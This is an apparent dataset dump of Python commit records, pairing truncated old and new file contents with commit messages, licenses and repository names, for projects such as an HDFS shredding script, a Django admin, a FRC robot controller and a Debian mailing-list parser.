1cdb773f0d20dcdb1a66a4a6a52eff35398b1296 | getBlocks.py | getBlocks.py | #!/usr/bin/python
import subprocess
import argparse
def readArguments():
parser = argparse.ArgumentParser()
parser.add_argument('-f','--file', action="store", dest="file", required=True, help="File to shred")
args = parser.parse_args()
return args
def checkFile(file):
'''
Check if file exist in HDFS
''... | #!/usr/bin/python
import subprocess
import shlex
import argparse
def readArguments():
parser = argparse.ArgumentParser()
parser.add_argument('-f','--file', action="store", dest="file", required=True, help="File to shred")
args = parser.parse_args()
return args
def checkFile(file):
'''
Check if file exist... | Use shlex to split command line | Use shlex to split command line
| Python | apache-2.0 | monolive/hdfs-shred |
fc1cb951991cc9b4b0cdb9d533127d26eb21ea57 | rave/__main__.py | rave/__main__.py | import argparse
import sys
from os import path
def parse_arguments():
parser = argparse.ArgumentParser(description='A modular and extensible visual novel engine.', prog='rave')
parser.add_argument('-b', '--bootstrapper', help='Select bootstrapper to bootstrap the engine with. (default: autoselect)')
parse... | import argparse
import sys
from os import path
def parse_arguments():
parser = argparse.ArgumentParser(description='A modular and extensible visual novel engine.', prog='rave')
parser.add_argument('-b', '--bootstrapper', help='Select bootstrapper to bootstrap the engine with. (default: autoselect)')
parse... | Remove -d command line argument in favour of __debug__. | rave: Remove -d command line argument in favour of __debug__.
| Python | bsd-2-clause | rave-engine/rave |
cb2db952d3a6c651dac5a285e8b0dc01a5e12a4b | rules/arm-toolchain.py | rules/arm-toolchain.py | import xyz
class ArmToolchain(xyz.BuildProtocol):
group_only = True
pkg_name = 'arm-toolchain'
supported_targets = ['arm-none-eabi']
deps = [('gcc', {'target': 'arm-none-eabi'}),
('binutils', {'target': 'arm-none-eabi'})]
rules = ArmToolchain()
| import xyz
class ArmToolchain(xyz.BuildProtocol):
group_only = True
pkg_name = 'arm-toolchain'
supported_targets = ['arm-none-eabi']
deps = [('gcc', {'target': 'arm-none-eabi'}),
('binutils', {'target': 'arm-none-eabi'}),
('gdb', {'target': 'arm-none-eabi'})
]
rules... | Add gdb to the toolchain | Add gdb to the toolchain
| Python | mit | BreakawayConsulting/xyz |
29cc59bc478c4c6bc936141d19a3386468ff8f07 | tests/test_general_attributes.py | tests/test_general_attributes.py | # -*- coding: utf-8 -*-
from jawa.attribute import get_attribute_classes
def test_mandatory_attributes():
for parser_class in get_attribute_classes().values():
assert hasattr(parser_class, 'ADDED_IN'), (
'Attribute parser missing mandatory ADDED_IN property'
)
assert hasattr(pa... | # -*- coding: utf-8 -*-
from jawa.attribute import get_attribute_classes
def test_mandatory_attributes():
required_properities = ['ADDED_IN', 'MINIMUM_CLASS_VERSION']
for name, class_ in get_attribute_classes().items():
for p in required_properities:
assert hasattr(class_, p), (
... | Add a simple test for Attribuet class naming conventions. | Add a simple test for Attribuet class naming conventions.
| Python | mit | TkTech/Jawa,TkTech/Jawa |
3be25f88352ff20a3239b0647f437c45f4903008 | robotpy_ext/control/button_debouncer.py | robotpy_ext/control/button_debouncer.py | import wpilib
class ButtonDebouncer:
'''Useful utility class for debouncing buttons'''
def __init__(self, joystick, buttonnum, period=0.5):
'''
:param joystick: Joystick object
:type joystick: :class:`wpilib.Joystick`
:param buttonnum: Number of button to retrieve
... | import wpilib
class ButtonDebouncer:
'''Useful utility class for debouncing buttons'''
def __init__(self, joystick, buttonnum, period=0.5):
'''
:param joystick: Joystick object
:type joystick: :class:`wpilib.Joystick`
:param buttonnum: Number of button to retrieve
... | Add __bool__ redirect to buttondebounce | Add __bool__ redirect to buttondebounce
| Python | bsd-3-clause | robotpy/robotpy-wpilib-utilities,robotpy/robotpy-wpilib-utilities |
d8dd87f6f5bd1bdead9f2b77ec9271035d05a378 | snappybouncer/admin.py | snappybouncer/admin.py | from django.contrib import admin
from snappybouncer.models import Conversation, UserAccount, Ticket
admin.site.register(Conversation)
admin.site.register(UserAccount)
admin.site.register(Ticket)
| from django.contrib import admin
from snappybouncer.models import Conversation, UserAccount, Ticket
from control.actions import export_select_fields_csv_action
class TicketAdmin(admin.ModelAdmin):
actions = [export_select_fields_csv_action(
"Export selected objects as CSV file",
fields = [
... | Add download to snappy bouncer | Add download to snappy bouncer
| Python | bsd-3-clause | praekelt/ndoh-control,praekelt/ndoh-control,praekelt/ndoh-control,praekelt/ndoh-control |
c9284e4d36026b837f1a43a58100b434e7a57337 | pygotham/admin/schedule.py | pygotham/admin/schedule.py | """Admin for schedule-related models."""
from pygotham.admin.utils import model_view
from pygotham.schedule import models
# This line is really long because pep257 needs it to be on one line.
__all__ = ('DayModelView', 'RoomModelView', 'SlotModelView', 'PresentationModelView')
CATEGORY = 'Schedule'
DayModelView = ... | """Admin for schedule-related models."""
from pygotham.admin.utils import model_view
from pygotham.schedule import models
# This line is really long because pep257 needs it to be on one line.
__all__ = ('DayModelView', 'RoomModelView', 'SlotModelView', 'PresentationModelView')
CATEGORY = 'Schedule'
DayModelView = ... | Use version of slots admin already in production | Use version of slots admin already in production
While building the schedule for the conference, the admin view for
`schedule.models.Slot` was changed in production* to figure out what
implementation made the most sense. This formalizes it as the preferred
version.
Closes #111
*Don't do this at home.
| Python | bsd-3-clause | djds23/pygotham-1,PyGotham/pygotham,djds23/pygotham-1,PyGotham/pygotham,djds23/pygotham-1,PyGotham/pygotham,PyGotham/pygotham,pathunstrom/pygotham,PyGotham/pygotham,djds23/pygotham-1,pathunstrom/pygotham,pathunstrom/pygotham,pathunstrom/pygotham,pathunstrom/pygotham,djds23/pygotham-1 |
c84f14d33f9095f2d9d8919a9b6ba11e17acd4ca | txspinneret/test/util.py | txspinneret/test/util.py | from twisted.web import http
from twisted.web.test.requesthelper import DummyRequest
class InMemoryRequest(DummyRequest):
"""
In-memory `IRequest`.
"""
def redirect(self, url):
self.setResponseCode(http.FOUND)
self.setHeader(b'location', url)
| from twisted.web import http
from twisted.web.http_headers import Headers
from twisted.web.test.requesthelper import DummyRequest
class InMemoryRequest(DummyRequest):
"""
In-memory `IRequest`.
"""
def __init__(self, *a, **kw):
DummyRequest.__init__(self, *a, **kw)
# This was only adde... | Make `InMemoryRequest` work on Twisted<14.0.0 | Make `InMemoryRequest` work on Twisted<14.0.0
| Python | mit | jonathanj/txspinneret,mithrandi/txspinneret |
be670eb5830a873d21e4e8587600a75018f01939 | collection_pipelines/__init__.py | collection_pipelines/__init__.py | from collection_pipelines.http import http
from collection_pipelines.json import *
class cat(CollectionPipelineProcessor):
def __init__(self, fname):
self.fname = fname
self.source(self.make_generator)
def make_generator(self):
with open(self.fname, 'r') as f:
for line in ... | from collection_pipelines.http import http
from collection_pipelines.json import *
class cat(CollectionPipelineProcessor):
def __init__(self, fname):
self.fname = fname
self.source(self.make_generator)
def make_generator(self):
with open(self.fname, 'r') as f:
for line in ... | Update out() processor to extend CollectionPipelineOutput class | Update out() processor to extend CollectionPipelineOutput class
| Python | mit | povilasb/pycollection-pipelines |
915370a5950bcaee4b7037196ef02621e518dcd9 | rcamp/lib/views.py | rcamp/lib/views.py | from django.shortcuts import render_to_response
from django.shortcuts import render
from django.template import RequestContext
from django.shortcuts import redirect
def handler404(request):
return render(request, '404.html', {}, status=404)
def handler500(request):
return render(request, '500.html', {}, sta... | from django.shortcuts import render_to_response
from django.shortcuts import render
from django.template import RequestContext
from django.shortcuts import redirect
def handler404(request, exception=None):
return render(request, '404.html', {}, status=404)
def handler500(request):
return render(request, '50... | Fix 404 handler not handling exception argument | Fix 404 handler not handling exception argument
| Python | mit | ResearchComputing/RCAMP,ResearchComputing/RCAMP,ResearchComputing/RCAMP,ResearchComputing/RCAMP |
d07722c8e7cc2efa0551830ca424d2db2bf734f3 | app/__init__.py | app/__init__.py | from flask import Flask
from flask.ext.bootstrap import Bootstrap
from flask.ext.sqlalchemy import SQLAlchemy
from flask.ext.login import LoginManager
from flask.ext.uploads import UploadSet, configure_uploads, IMAGES
from config import config
bootstrap = Bootstrap()
db = SQLAlchemy()
login_manager = LoginManager()
l... | from flask import Flask
from flask.ext.bootstrap import Bootstrap
from flask.ext.sqlalchemy import SQLAlchemy
from flask.ext.login import LoginManager
from flask.ext.uploads import UploadSet, configure_uploads, IMAGES
from helpers.text import slugify
from config import config
bootstrap = Bootstrap()
db = SQLAlchemy(... | Add slugify to the jinja2's globals scope | Add slugify to the jinja2's globals scope
| Python | mit | finnurtorfa/aflafrettir.is,finnurtorfa/aflafrettir.is,finnurtorfa/aflafrettir.is,finnurtorfa/aflafrettir.is |
6067e96b0c5462f9d3e9391cc3193a28ba7ad808 | DebianChangesBot/mailparsers/security_announce.py | DebianChangesBot/mailparsers/security_announce.py |
from DebianChangesBot import MailParser
class SecurityAnnounce(MailParser):
def parse(self, msg):
if self._get_header(msg, 'List-Id') != '<debian-security-announce.lists.debian.org>':
return False
fmt = SecurityAnnounceFormatter()
data = {
'dsa_number' : None,
... |
from DebianChangesBot import MailParser
class SecurityAnnounce(MailParser):
def parse(self, msg):
if self._get_header(msg, 'List-Id') != '<debian-security-announce.lists.debian.org>':
return None
fmt = SecurityAnnounceFormatter()
m = re.match(r'^\[SECURITY\] \[DSA ([-\d]+)\]... | Make formatter example more realistic | Make formatter example more realistic
Signed-off-by: Chris Lamb <711c73f64afdce07b7e38039a96d2224209e9a6c@chris-lamb.co.uk>
| Python | agpl-3.0 | lamby/debian-devel-changes-bot,lamby/debian-devel-changes-bot,xtaran/debian-devel-changes-bot,sebastinas/debian-devel-changes-bot,lamby/debian-devel-changes-bot,xtaran/debian-devel-changes-bot |
2c1d40030f19356bdac6117d1df6dc35a475e480 | vcr_unittest/testcase.py | vcr_unittest/testcase.py | from __future__ import absolute_import, unicode_literals
import inspect
import logging
import os
import unittest
import vcr
logger = logging.getLogger(__name__)
class VCRTestCase(unittest.TestCase):
vcr_enabled = True
def setUp(self):
super(VCRTestCase, self).setUp()
if self.vcr_enabled:
... | from __future__ import absolute_import, unicode_literals
import inspect
import logging
import os
import unittest
import vcr
logger = logging.getLogger(__name__)
class VCRTestCase(unittest.TestCase):
vcr_enabled = True
def setUp(self):
super(VCRTestCase, self).setUp()
if self.vcr_enabled:
... | Add .yaml extension on default cassette name. | Add .yaml extension on default cassette name.
| Python | mit | agriffis/vcrpy-unittest |
939d76ec219b3bff45dceaef59aee08a82a76f87 | virtool/labels/models.py | virtool/labels/models.py | from sqlalchemy import Column, String, Sequence, Integer
from virtool.postgres import Base
class Label(Base):
__tablename__ = 'labels'
id = Column(Integer, Sequence('labels_id_seq'), primary_key=True)
name = Column(String, unique=True)
color = Column(String(length=7))
description = Column(String... | from sqlalchemy import Column, String, Sequence, Integer
from virtool.postgres import Base
class Label(Base):
__tablename__ = 'labels'
id = Column(Integer, primary_key=True)
name = Column(String, unique=True)
color = Column(String(length=7))
description = Column(String)
def __repr__(self):
... | Simplify label model serial ID | Simplify label model serial ID
| Python | mit | virtool/virtool,igboyes/virtool,igboyes/virtool,virtool/virtool |
d5b744d358e2e2bd3e6f85e0fbae487e2ee64c64 | bot/logger/logger.py | bot/logger/logger.py | import time
from bot.action.util.textformat import FormattedText
from bot.logger.message_sender import MessageSender
LOG_ENTRY_FORMAT = "{time} [{tag}] {text}"
class Logger:
def __init__(self, sender: MessageSender):
self.sender = sender
def log(self, tag, text):
text = self._get_text_to_s... | import time
from bot.action.util.textformat import FormattedText
from bot.logger.message_sender import MessageSender
LOG_ENTRY_FORMAT = "{time} [{tag}] {text}"
TEXT_SEPARATOR = " | "
class Logger:
def __init__(self, sender: MessageSender):
self.sender = sender
def log(self, tag, *texts):
t... | Improve Logger to support variable text params | Improve Logger to support variable text params
| Python | agpl-3.0 | alvarogzp/telegram-bot,alvarogzp/telegram-bot |
02076f919e56503c76a41e78feed8a6720c65c19 | robot/robot/src/autonomous/timed_shoot.py | robot/robot/src/autonomous/timed_shoot.py | try:
import wpilib
except ImportError:
from pyfrc import wpilib
from common.autonomous_helper import StatefulAutonomous, timed_state
class TimedShootAutonomous(StatefulAutonomous):
'''
Tunable autonomous mode that does dumb time-based shooting
decisions. Works consistently.
'... | try:
import wpilib
except ImportError:
from pyfrc import wpilib
from common.autonomous_helper import StatefulAutonomous, timed_state
class TimedShootAutonomous(StatefulAutonomous):
'''
Tunable autonomous mode that does dumb time-based shooting
decisions. Works consistently.
'... | Add comments for timed shoot | Add comments for timed shoot
| Python | bsd-3-clause | frc1418/2014 |
5ea8993f76477c3cb6f35c26b38d82eda8a9478f | tests_django/integration_tests/test_output_adapter_integration.py | tests_django/integration_tests/test_output_adapter_integration.py | from django.test import TestCase
from chatterbot.ext.django_chatterbot.models import Statement
class OutputIntegrationTestCase(TestCase):
"""
Tests to make sure that output adapters
function correctly when using Django.
"""
def test_output_adapter(self):
from chatterbot.output import Outp... | from django.test import TestCase
from chatterbot.ext.django_chatterbot.models import Statement
class OutputIntegrationTestCase(TestCase):
"""
Tests to make sure that output adapters
function correctly when using Django.
"""
def test_output_adapter(self):
from chatterbot.output import Outp... | Remove confidence parameter in django test case | Remove confidence parameter in django test case
| Python | bsd-3-clause | vkosuri/ChatterBot,Reinaesaya/OUIRL-ChatBot,Reinaesaya/OUIRL-ChatBot,maclogan/VirtualPenPal,davizucon/ChatterBot,gunthercox/ChatterBot,Gustavo6046/ChatterBot |
19c2f919c6deb11331e927ad3f794424905fc4f3 | self-post-stream/stream.py | self-post-stream/stream.py | import praw
import argparse
parser = argparse.ArgumentParser(description='Stream self posts from any subreddit.')
parser.add_argument('-sub', required=False, default='all', help='Subreddit name (default=\'all\')')
parser.add_argument('-limit', required=False, default=100, help='Post limit (default=100, max=1000)', typ... | import praw
import argparse
parser = argparse.ArgumentParser(description='Stream self posts from any subreddit.')
parser.add_argument('-sub', required=False, default='all', help='Subreddit name (default=\'all\')')
parser.add_argument('-limit', required=False, default=100, help='Post limit (default=100, max=1000)', typ... | Add value check for -limit | Add value check for -limit
| Python | mit | kshvmdn/reddit-bots |
cbfbc7482a19b5d7ddcdb3980bfdf5d1d8487141 | Google_Code_Jam/2010_Africa/Qualification_Round/B/reverse_words.py | Google_Code_Jam/2010_Africa/Qualification_Round/B/reverse_words.py | #!/usr/bin/python -tt
"""Solves problem B from Google Code Jam Qualification Round Africa 2010
(https://code.google.com/codejam/contest/351101/dashboard#s=p1)
"Reverse Words"
"""
import sys
def main():
"""Reads problem data from stdin and prints answers to stdout.
Args:
None
Returns:
No... | #!/usr/bin/python -tt
"""Solves problem B from Google Code Jam Qualification Round Africa 2010
(https://code.google.com/codejam/contest/351101/dashboard#s=p1)
"Reverse Words"
"""
import sys
def main():
"""Reads problem data from stdin and prints answers to stdout.
Args:
None
Returns:
No... | Add description of assertions raised | Add description of assertions raised | Python | cc0-1.0 | mschruf/python |
4b0b85a54208625c7a2753d8ba9b96818f1411d0 | denorm/__init__.py | denorm/__init__.py |
from denorm.fields import denormalized
from denorm.dependencies import depend_on_related,depend_on_q
|
from denorm.fields import denormalized
from denorm.dependencies import depend_on_related, depend_on_q
__all__ = ["denormalized", "depend_on_related", "depend_on_q"]
| Use __all__ to make it not overwrite .models randomly. | Use __all__ to make it not overwrite .models randomly.
| Python | bsd-3-clause | heinrich5991/django-denorm,miracle2k/django-denorm,Chive/django-denorm,anentropic/django-denorm,simas/django-denorm,catalanojuan/django-denorm,victorvde/django-denorm,initcrash/django-denorm,PetrDlouhy/django-denorm,gerdemb/django-denorm,kennknowles/django-denorm,Eksmo/django-denorm,alex-mcleod/django-denorm,mjtamlyn/d... |
4799fbb78503e16095b72e39fa243dcbaeef94b2 | lib/rapidsms/tests/test_backend_irc.py | lib/rapidsms/tests/test_backend_irc.py | #!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
import unittest
from harness import MockRouter
class TestLog(unittest.TestCase):
def test_backend_irc (self):
router = MockRouter()
try:
import irclib
from rapidsms.backends.irc import Backend
backend = Backend(... | #!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
import unittest
from harness import MockRouter
class TestBackendIRC(unittest.TestCase):
def test_backend_irc (self):
router = MockRouter()
try:
import irclib
from rapidsms.backends.irc import Backend
backend = B... | Rename test class (sloppy cut n' paste job) | Rename test class (sloppy cut n' paste job)
| Python | bsd-3-clause | dimagi/rapidsms-core-dev,dimagi/rapidsms-core-dev,unicefuganda/edtrac,unicefuganda/edtrac,ken-muturi/rapidsms,catalpainternational/rapidsms,caktus/rapidsms,rapidsms/rapidsms-core-dev,ehealthafrica-ci/rapidsms,peterayeni/rapidsms,peterayeni/rapidsms,dimagi/rapidsms,catalpainternational/rapidsms,lsgunth/rapidsms,dimagi/r... |
6771b83ec65f015fa58191694ad068063f61672b | amazon.py | amazon.py | from osv import osv, fields
import time
import datetime
import inspect
import xmlrpclib
import netsvc
import os
import logging
import urllib2
import base64
from tools.translate import _
import httplib, ConfigParser, urlparse
from xml.dom.minidom import parse, parseString
from lxml import etree
from xml.etree.ElementTre... | from osv import osv, fields
class amazon_instance(osv.osv):
_inherit = 'amazon.instance'
def create_orders(self, cr, uid, instance_obj, shop_id, results):
return super(amazon_instance, self).create_orders(cr, uid, instance_obj, shop_id, results, defaults={
"payment_channel": "amazon",
... | Simplify defaulting the sale and payment channels for Amazon sales. | Simplify defaulting the sale and payment channels for Amazon sales.
| Python | agpl-3.0 | ryepdx/sale_channels |
66461c43b3a0229d02c58ad7aae4653bb638715c | students/crobison/session03/mailroom.py | students/crobison/session03/mailroom.py | # Charles Robison
# 2016.10.16
# Mailroom Lab
#!/usr/bin/env python
donors = {
'Smith':[100, 125, 100],
'Galloway':[50],
'Williams':[22, 43, 40, 3.25],
'Cruz':[101],
'Maples':[1.50, 225]
}
def print_report():
print("This will print a report")
... | # Charles Robison
# 2016.10.16
# Mailroom Lab
#!/usr/bin/env python
donors = {
'Smith':[100, 125, 100],
'Galloway':[50],
'Williams':[22, 43, 40, 3.25],
'Cruz':[101],
'Maples':[1.50, 225]
}
donations = {}
for k, v in donors.items():
donations[k]... | Add function to list donors and total donations. | Add function to list donors and total donations.
| Python | unlicense | UWPCE-PythonCert/IntroPython2016,weidnem/IntroPython2016,Baumelbi/IntroPython2016,weidnem/IntroPython2016,weidnem/IntroPython2016,UWPCE-PythonCert/IntroPython2016,Baumelbi/IntroPython2016,UWPCE-PythonCert/IntroPython2016 |
bb8d9aa91b6d1bf2a765113d5845402c059e6969 | IPython/core/payloadpage.py | IPython/core/payloadpage.py | # encoding: utf-8
"""A payload based version of page."""
# Copyright (c) IPython Development Team.
# Distributed under the terms of the Modified BSD License.
from IPython.core.getipython import get_ipython
#-----------------------------------------------------------------------------
# Classes and functions
#-------... | # encoding: utf-8
"""A payload based version of page."""
# Copyright (c) IPython Development Team.
# Distributed under the terms of the Modified BSD License.
from IPython.core.getipython import get_ipython
#-----------------------------------------------------------------------------
# Classes and functions
#-------... | Remove leftover text key from our own payload creation | Remove leftover text key from our own payload creation
| Python | bsd-3-clause | ipython/ipython,ipython/ipython |
4b863a659e36b1fa9887847e9dbb133b1852cf9b | examples/miniapps/bundles/run.py | examples/miniapps/bundles/run.py | """Run 'Bundles' example application."""
import sqlite3
import boto3
from dependency_injector import containers
from dependency_injector import providers
from bundles.users import Users
from bundles.photos import Photos
class Core(containers.DeclarativeContainer):
"""Core container."""
config = providers.... | """Run 'Bundles' example application."""
import sqlite3
import boto3
from dependency_injector import containers
from dependency_injector import providers
from bundles.users import Users
from bundles.photos import Photos
class Core(containers.DeclarativeContainer):
"""Core container."""
config = providers.... | Update bundles example after configuration provider refactoring | Update bundles example after configuration provider refactoring
| Python | bsd-3-clause | ets-labs/dependency_injector,ets-labs/python-dependency-injector,rmk135/objects,rmk135/dependency_injector |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.